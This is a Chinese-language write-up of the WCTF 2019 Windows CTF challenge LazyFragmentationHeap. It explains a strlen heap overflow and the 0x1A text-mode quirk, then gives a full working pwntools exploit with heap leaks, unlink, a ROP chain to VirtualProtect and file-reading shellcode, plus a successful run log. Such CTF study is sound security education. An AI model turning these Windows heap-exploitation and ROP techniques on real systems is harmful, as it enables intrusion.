WCTF 2019 Windows pwn LazyFragmentationHeap

Angelboy 出的一道 winpwn ,相比较其另一道winpwn : HITCON CTF 2019 dadadb,其难度差距还是很大的。

作者 AngelBoy 已经在 Github 上公开了思路和源码,所以下面我会讲的简单一些,https://github.com/scwuaptx/LazyFragmentationHeap

这里也提供我的环境:https://github.com/Ex-Origin/ctf-writeups/tree/master/other/pwn/wctf_2019_LazyFragmentationHeap

说实话做实验的时候并没有感受到 低碎片堆 的特性,可能是我对 Windows API 的 核心原理还不够了解。

漏洞

喜闻乐见的 strlen 导致的 heap 溢出。

         if ( !global_buffer_array[v16].calloc_ptr
            || global_buffer_array[v18].read_magic2 != 0xDDAABEEF1ACDi64
            || global_buffer_array[v18].magic1 != 0xDDAABEEF1ACDi64 )
          {
            puts("Error !");
            exit(-3);
          }
          printf("Content:", v15);
          v19 = -1i64;
          v20 = (_BYTE *)global_buffer_array[v18].calloc_ptr;
          v21 = global_buffer_array[v18].size;
          do
            ++v19;
          while ( v20[v19] );
          if ( v19 > v21 && global_buffer_array[v18].read_magic2 == 0xDDAABEEF1ACDi64 )
          {
            v21 = -1i64;
            do
              ++v21;
            while ( v20[v21] );
          }
          if ( read(0, v20, v21) <= 0 )
          {
            puts("read error");
            _exit(1);
          }
          global_buffer_array[v18].read_magic2 ^= 0xFACEB00CA4DADDAAui64;
          puts("Done !");

难点在于其数量过多的障碍设置:

  • 只能 free 两次
  • 只能 readfile 两次
  • 只有 10 个指针,且每个指针只能 edit 一次
  • 0x1a 作为 magic 的方式来预防劫持,这个是个亮点

0x1a 中断流

0x1A在ASCII码中代表EOF,在过去,ASCII码EOF曾经在unix/linux中被作为文件结束符使用,微软继承了这个传统,也以EOF作为文件的结束符。

由于输入句柄是以文件流形式打开的,所以当我们输入时,输入流一旦接受到 0x1a ,就会立马关闭。

举个例子:

#include <Windows.h>
#include <stdio.h>

int main()
{
    FILE *fp, *fp_r, *fp_rb;
    int i;
    fopen_s(&fp, "temp.txt", "wb");
    fputc('a', fp);
    fputc(0x1a, fp);
    fputc('b', fp);
    fclose(fp);

    fopen_s(&fp_r, "temp.txt", "r");
    fopen_s(&fp_rb, "temp.txt", "rb");
    printf("fp_r : ");
    for (i = 0; i < 3; i++)
    {
        printf("%8x ", fgetc(fp_r));
    }
    printf("\nfp_rb: ");
    for (i = 0; i < 3; i++)
    {
        printf("%8x ", fgetc(fp_rb));
    }
    puts("");

    fclose(fp_r);
    fclose(fp_rb);
    return DeleteFile("temp.txt") ? 0 : 1;
}

运行结果如下:

fp_r :       61 ffffffff ffffffff
fp_rb:       61       1a       62

思路

  • 泄露 ntdll 地址以便计算镜像基地址
  • 泄露出其他需要的地址
  • 利用 FILE 任意写 修改 输入流的句柄属性为二进制类型,由于后面限制了 FILE 的使用,用 unlink 来劫持程序的指针结构。因为所有操作都是在默认堆中,对 堆布局的要求很高,这里是个难点。
  • 完成上面步骤后就等于拥有了任意读写权限,然后常规方法泄露栈地址,劫持程序流ROP,利用shellcode 读 flag。

这里思路的核心在于 Windows 的 程序、动态库的基地址在短时间内是不会变的,可以利用这一特性来间接完成一些操作。还有其一些在 default heap 的数据在短时间内的偏移也是不变的,这一点对于利用也很重要。

脚本

脚本概率大约是1/3,可能会遇到无限阻塞的情况,重新执行即可。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

host = '192.168.1.104'
port = 10001

context.arch = 'amd64'
# context.log_level = 'debug'
sh = None
ntdll_addr = None

def add(size, id):
    sh.sendlineafter('Your choice: ', '1')
    sh.sendlineafter('Size:', str(size))
    sh.sendlineafter('ID:', str(id))

def edit(id, content):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('ID:', str(id))
    sh.sendafter('Content:', content)

def show(id):
    sh.sendlineafter('Your choice: ', '3')
    sh.sendlineafter('ID:', str(id))
    sh.recvuntil('Content: ')
    return sh.recvuntil('\r\n', drop=True) + '\0'

def delete(id):
    sh.sendlineafter('Your choice: ', '4')
    sh.sendlineafter('ID:', str(id))

def open_file(times):
    sh.sendlineafter('Your choice: ', '5')
    for i in range(times):
        sh.sendlineafter('Your choice: ', '1')
    sh.sendlineafter('Your choice: ', '3')

def read_file(id, size, content=None):
    sh.sendlineafter('Your choice: ', '5')
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('ID:', str(id))
    sh.sendlineafter('Size:', str(size))
    if(content):
        sh.send(content)
    sh.sendlineafter('Your choice: ', '3')

print('\nstep 1 : leak ntdll address\n')
while(True):

    sh = remote(host, port)
    open_file(6)

    add(0x88, 1)
    add(0x88, 2)
    add(0x88, 3)
    read_file(1, 0x88)
    result = show(1)[0x88:]
    Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
    log.success('Encoding: ' + hex(Encoding))
    if((Encoding & 0xff0000000000) == 0):
        sh.close()
        continue

    edit(1, 'a' * 0x88 + p64(0x080000913010012 ^ Encoding)[:6])
    delete(2)
    add(0x88, 4)
    result = show(3)
    heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
    if(heap_addr == 0):
        sh.close()
        continue
    log.success('heap_addr: ' + hex(heap_addr))
    open_file(1)

    fake_file = [
        0, 0xBEEFDAD0000 + 0x28 + 0x20,
        p32(0), p32(0x2080), 0,
        0x100, 0,
        0xffffffffffffffff, p32(0xffffffff),p32(0),
        0, 0,
    ]

    edit(3, flat(fake_file))
    read_file(4, 8, p64(heap_addr + 0x2c0))
    result = show(4)
    ntdll_addr = (u64(result.ljust(8, '\0')) - 0x15f000) & 0xffffffffffff0000
    log.success('ntdll_addr: ' + hex(ntdll_addr))
    sh.close()
    break

def leak(addr, heap_offset=None):
    global sh
    while(True):
        try:
            sh = remote(host, port)
            open_file(6)

            add(0x88, 1)
            add(0x88, 2)
            add(0x88, 3)
            read_file(1, 0x88)
            result = show(1)[0x88:]
            Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
            log.success('Encoding: ' + hex(Encoding))
            if((Encoding & 0xff0000000000) == 0):
                sh.close()
                continue

            edit(1, 'a' * 0x88 + p64(0x080000913010012 ^ Encoding)[:6])
            delete(2)
            add(0x88, 4)
            result = show(3)
            heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
            log.success('heap_addr: ' + hex(heap_addr))
            if(heap_addr == 0):
                sh.close()
                continue
            open_file(1)

            fake_file = [
                0, 0xBEEFDAD0000 + 0x28 + 0x20,
                p32(0), p32(0x2080), 0,
                0x100, 0,
                0xffffffffffffffff, p32(0xffffffff),p32(0),
                0, 0,
            ]

            edit(3, flat(fake_file))
            if(heap_offset):
                read_file(4, 8, p64(heap_addr + addr))
            else:
                read_file(4, 8, p64(addr))
            result = show(4)
            sh.close()
            return u64(result.ljust(8, '\0')[:8])
        except KeyboardInterrupt as e:
            sh.close()
            exit(0)
        except:
            sh.close()

print('\nstep 2 : leak other address\n')
PebLdr = ntdll_addr + 0x1653c0
offset = leak(PebLdr + 0x10) & 0xffff
image_base = leak(offset + 0x30 + 2, 1) << 16
log.success('image_base: ' + hex(image_base))

kernel32_addr = leak(image_base + 0x3000) - 0x1a190 # kernel32!VirtualAllocStub 
log.success('kernel32_addr: ' + hex(kernel32_addr))

ucrtbase_addr = leak(image_base + 0x3190) - 0x80880 # ucrtbase!puts
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))

ucrtbase_pioinfo_ptr = ucrtbase_addr + 0xeb770
pioinfo_offset = leak(ucrtbase_pioinfo_ptr) & 0xffff
log.success('pioinfo_offset: ' + hex(pioinfo_offset))

print('\nstep 3 : unlink\n')
while(True):
    sh = remote(host, port)
    open_file(5)

    add(0x88, 1)
    add(0x88, 2)
    add(0xe8, 3)
    add(0x88, 5)
    add(0x88, 6)
    read_file(1, 0x88)
    result = show(1)[0x88:]
    Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
    log.success('Encoding: ' + hex(Encoding))
    if((Encoding & 0xff0000000000) == 0):
        sh.close()
        continue

    edit(1, 'a' * 0x88 + p64(0x080000920010021 ^ Encoding)[:6])
    delete(2)
    add(0x88, 4)

    result = show(3)
    heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
    log.success('heap_addr: ' + hex(heap_addr))
    if(heap_addr == 0):
        sh.close()
        continue

    open_file(1)
    add(0x88, 7)

    add(0x88, 0x0800000613010012 ^ Encoding)

    fake_file = [
        0, 0xBEEFDAD0000 + 0x28 + 0x20,
        p32(0), p32(0x2080), 0,
        0x100, 0,
        0xffffffffffffffff, p32(0xffffffff),p32(0),
        0, 0,
    ]

    edit(3, flat(fake_file) + p64(0) + p64(0x0800000613010012 ^ Encoding))
    delete(7)
    add(0x88, 9)

    # change text mode to binary mode
    read_file(4, 8, p64(heap_addr + pioinfo_offset + 0x38))
    edit(4, p8(0xc1))

    edit(5, p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20))
    add(0x88, 10)

    edit(0x0800000613010012 ^ Encoding, flat([0, 0xDDAABEEF1ACD, 0x100, 100, 0xDDAABEEF1ACD, 0xBEEFDAD0000]))

    node_array = [0xDDAABEEF1ACD, 0x1000, 1, 0xDDAABEEF1ACD, 0xBEEFDAD0000, 0xDDAABEEF1ACD, 0x1000, 2, 0xDDAABEEF1ACD, 0xBEEFDAD0000,]
    layout = node_array + [0xDDAABEEF1ACD, 0x100, 3, 0xDDAABEEF1ACD, PebLdr - 120,]
    point = 0
    edit(100, flat(layout))
    result = show(3)
    Peb_addr = u64(result.ljust(8, '\0')) - 0x80
    log.success('Peb_addr: ' + hex(Peb_addr))
    Teb_addr = Peb_addr + 0x1000

    layout = node_array + [[0xDDAABEEF1ACD, 0x100, 3 + i, 0xDDAABEEF1ACD, Teb_addr + 8 + i,] for i in range(8)]
    point = 2 if (point == 1) else 1
    edit(point, flat(layout))
    result = ''
    while(len(result) < 8):
        result += show(3 + len(result))
    stack_base = u64(result[:8])
    log.success('stack_base: ' + hex(stack_base))

    main_ret_content = image_base + 0x1B78

    print('\nstep 4 : search for main ret address\n')
    main_ret = 0
    offset = 0
    while(offset != -1):
        offset += 0x40
        layout = node_array + [[0xDDAABEEF1ACD, 0x100, 3 + i, 0xDDAABEEF1ACD, stack_base - offset + i * 8,] for i in range(8)]
        point = 2 if (point == 1) else 1
        edit(point, flat(layout))
        for i in range(8)[::-1]:
            result = show(3 + i).ljust(8, '\0')
            if(main_ret_content == u64(result[:8])):
                main_ret = stack_base - offset + i * 8
                offset = -1
                break

    log.success('main_ret: ' + hex(main_ret))

    shellcode_addr = image_base + 0x5800
    layout = node_array + [
        0xDDAABEEF1ACD, 0x100, 3, 0xDDAABEEF1ACD, main_ret - 0x80,
        0xDDAABEEF1ACD, 0x400, 4, 0xDDAABEEF1ACD, shellcode_addr,
    ]
    point = 2 if (point == 1) else 1
    edit(point, flat(layout))

    asm_str = '''
    sub rsp, 0x1000 ;// to prevent underflowing

    mov rax, 0x7478742e67616c66 ;// flag.txt
    mov [rsp + 0x100], rax
    mov byte ptr [rsp + 0x108], 0
    lea rcx, [rsp + 0x100]
    mov edx, 0x80000000
    mov r8d, 1
    xor r9d, r9d
    mov dword ptr[rsp + 0x20], 3
    mov dword ptr[rsp + 0x28], 0x80
    mov [rsp + 0x30], r9
    mov rax, %d
    call rax ;// CreateFile

    mov rcx, rax
    lea rdx, [rsp + 0x200]
    mov r8d, 0x200
    lea r9, [rsp + 0x30]
    xor eax, eax
    mov [rsp + 0x20], rax
    mov rax, %d
    call rax ;// ReadFile

    mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
    mov rax, %d
    call rax ;// GetStdHandle

    mov rcx, rax
    lea rdx, [rsp + 0x200]
    mov r8d, [rsp + 0x30]
    lea r9, [rsp + 0x40]
    xor eax, eax
    mov [rsp + 0x20], rax
    mov rax, %d
    call rax ;// WriteFile

    mov rax, %d
    call rax ;// exit
    ''' % ( kernel32_addr + 0x22080, kernel32_addr + 0x22410, kernel32_addr + 0x1c610, kernel32_addr + 0x22500, image_base + 0x18D4)

    shellcode = asm(asm_str)
    edit(4, shellcode)

    VirtualProtect = kernel32_addr + 0x1af90
    layout = [
        ntdll_addr + 0x8c4b7, #: pop rdx; pop r11; ret; 
        0x1000,
        0,
        ntdll_addr + 0x21597, #: pop rcx; ret; 
        shellcode_addr & 0xfffffffffffff000,
        ntdll_addr + 0x8c4b2, #: pop r8; pop r9; pop r10; pop r11; ret;
        0x40, # PAGE_EXECUTE_READWRITE
        shellcode_addr + 0x500,
        0, 0,

        VirtualProtect,
        shellcode_addr,
    ]

    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('ID:', str(3))
    sh.sendafter('Content:', flat(layout))

    sh.interactive()
    break

执行效果:

ex@Ex:~/test$ python exp.py 

step 1 : leak ntdll address

[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x884739d46bc8
[+] heap_addr: 0x23d6b660000
[+] ntdll_addr: 0x7ffa3a060000
[*] Closed connection to 192.168.1.104 port 10001

step 2 : leak other address

[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x69365583807
[+] heap_addr: 0x1de7b1e0000
[*] Closed connection to 192.168.1.104 port 10001
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x32eabad343e5
[+] heap_addr: 0x20601430000
[*] Closed connection to 192.168.1.104 port 10001
[+] image_base: 0x7ff663030000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xbd35fa155db5
[+] heap_addr: 0x1c154a90000
[*] Closed connection to 192.168.1.104 port 10001
[+] kernel32_addr: 0x7ffa39720000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xa452c75b8940
[+] heap_addr: 0x29414850000
[*] Closed connection to 192.168.1.104 port 10001
[+] ucrtbase_addr: 0x7ffa37bc0000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x69a1a513ec6f
[+] heap_addr: 0x1d0ca8d0000
[*] Closed connection to 192.168.1.104 port 10001
[+] pioinfo_offset: 0x6950

step 3 : unlink

[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xb2fc939c4700
[+] heap_addr: 0x0
[*] Closed connection to 192.168.1.104 port 10001
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x86f6271060b9
[+] heap_addr: 0x18336760000
[+] Peb_addr: 0x35c2323000
[+] stack_base: 0x35c2500000

step 4 : search for main ret address

[+] main_ret: 0x35c24ffea8
[*] Switching to interactive mode
flag{this_is_a_flag}
[*] Got EOF while reading in interactive
$